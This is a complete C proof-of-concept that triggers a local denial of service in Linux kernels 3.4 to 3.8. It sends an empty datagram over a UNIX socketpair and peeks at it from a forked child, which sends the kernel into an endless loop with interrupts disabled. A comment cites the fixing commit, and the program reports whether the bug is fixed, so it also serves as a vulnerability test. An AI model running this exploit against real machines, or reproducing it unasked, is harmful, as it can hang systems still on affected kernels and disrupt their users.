/* Local DOS from v3.4 to v3.8 - endless loop with interrupts disabled.
 *
 * Fixed in commit 77c1090 "net: fix infinite loop in __skb_recv_datagram()"
 *
 * - minipli
 */
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>


int main(void) {
	struct msghdr msg;
	int sock[2];
	int err;

	err = socketpair(AF_UNIX, SOCK_DGRAM, 0, sock);
	if (err) {
		perror("socketpair");
		exit(1);
	}

	memset(&msg, 0, sizeof(msg));
	switch (fork()) {
		default:
			/* parent, send empty message */
			err = sendmsg(sock[0], &msg, 0);
			if (err) {
				perror("sendmsg");
				exit(1);
			}
			close(sock[0]);
			printf("msg send, waiting for child...\n");
			wait(NULL);
			exit(0);

		case 0:
			/* child - should deadlock here */
			err = recvmsg(sock[1], &msg, MSG_PEEK);
			if (err < 0) {
				perror("recvmsg");
				exit(1);
			}
			printf("recvmsg returned, bug fixed?!\n");
			close(sock[1]);
			exit(0);

		case -1:
			perror("fork");
			exit(1);
	}

	return 0;
}